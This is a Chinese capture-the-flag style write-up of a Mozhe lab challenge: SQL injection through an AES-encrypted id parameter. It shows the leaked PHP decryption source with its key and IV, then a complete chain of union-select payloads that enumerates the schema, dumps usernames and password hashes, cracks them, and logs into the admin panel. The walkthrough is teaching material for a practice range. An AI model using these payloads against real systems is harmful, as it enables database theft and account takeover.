墨者靶场SQL注入(参数加密AES)

墨者靶场SQL注入(参数加密AES)

信息收集

打开页面发现只有登陆框以及关于平台维护的界面
在这里插入图片描述
通过网站后缀可以知道为开发语言为php
在这里插入图片描述
通过响应头判断是以及网站大小判断是linux系统,猜测架构应该是Nginx+PHP+MYSQL的组合,也可以用端口扫描进行判断是否为mysql数据库
在这里插入图片描述

使用御剑进行目录扫描
在这里插入图片描述
访问http://219.153.49.228:44288/news/ 存在源码泄露
在这里插入图片描述

分析源码

//解密过程
function decode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	//mcrypt_module_open()函数打开指定算法和模式对应的模块 
	
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	//mcrypt_generic_init()初始化加密所需的缓冲区  简单理解就是加盐
	
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
	//mdecrypt_generic() 解密数据  base64_decode() 解码
	//先执行2次base64解密,在执行一次AES解密
	
	mcrypt_generic_deinit($td);
	//本函数终止由加密描述符(td)指定的加密模块, 它会清理缓冲区,但是并不关闭模块。
	
	mcrypt_module_close($td);
	//关闭加密模块
	
	if(substr(trim($data),-6)!=='_mozhe'){  //去空截取后6位字符如果不等于_mozhe 就会重定向到首页
		echo '<script>window.location.href="/index.php";</script>';
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);
		//返回去掉空白符的字符长度减去6
	}
}
$id=decode($_GET['id']);
//解码获取GET变量的传参
$sql="select id,title,content,time from notice where id=$id";
//定义sql语句 把参数带入sql语句
$info=$link->query($sql);
//执行sql语句
$arr=$info->fetch_assoc();
//返回关联数组对象

漏洞利用

通过源码的分析我们知道会先进行base64解码

$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));

在这里插入图片描述
AES解密网站会自带一次base64解密
AES加密模式:CBC,数据块128位 ,密码ydhaqPQnexoaDuW3 偏移2018201920202021 base64解码
在这里插入图片描述
通过源码分析构造逆向pyloads

if(substr(trim($data),-6)!=='_mozhe'){
		echo '<script>window.location.href="/index.php";</script>';
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);
	}

判断注入点 1 and 1=1_mozhe 显示正常 1 and 1=2_mozhe 显示错误
猜字段
1 order by 10_mozhe 、1 order by 5_mozhe 最后测试到是4个字段 使用二分法进行判断
回显位

1 and 1=2 union select 1,2,3,4_mozhe

在这里插入图片描述
爆当前用户、数据库

1 and 1=2 union select 1,database(),user(),4_mozhe

在这里插入图片描述
爆出所有数据库

1 and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata_mozhe

在这里插入图片描述
爆当前数据库所有表

1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()_mozhe

在这里插入图片描述
爆所有字段

1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema= database() and table_name='StormGroup_member'_mozhe

在这里插入图片描述
查询用户

1 and 1=2 union select 1,group_concat(name),3,4 from StormGroup_member_mozhe  

在这里插入图片描述
查询用户名、密码(name,password)

1. 1 and 1=2 union select 1,group_concat(name),group_concat(password),4 from mozhe_Discuz_StormGroup.StormGroup_member_mozhe 
2. 1 and 1=2 union select 1,group_concat(name,';',password),3,4 from mozhe_Discuz_StormGroup.StormGroup_member_mozhe

在这里插入图片描述

MD5解密
在这里插入图片描述
登陆后台拿到key
在这里插入图片描述

资源分享

MD5解密在线网站:https://www.cmd5.com/
AES加密解密:http://tool.chacuo.net/cryptaes
base64加密解密:https://base64.us/
PHP中文手册:https://www.php.cn/manual/view/1720.html
墨者靶场地址:https://www.mozhe.cn/bug/detail/SjRRVFpOQWlLWDBJd3hzNGY5cFBiQT09bW96aGUmozhe

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值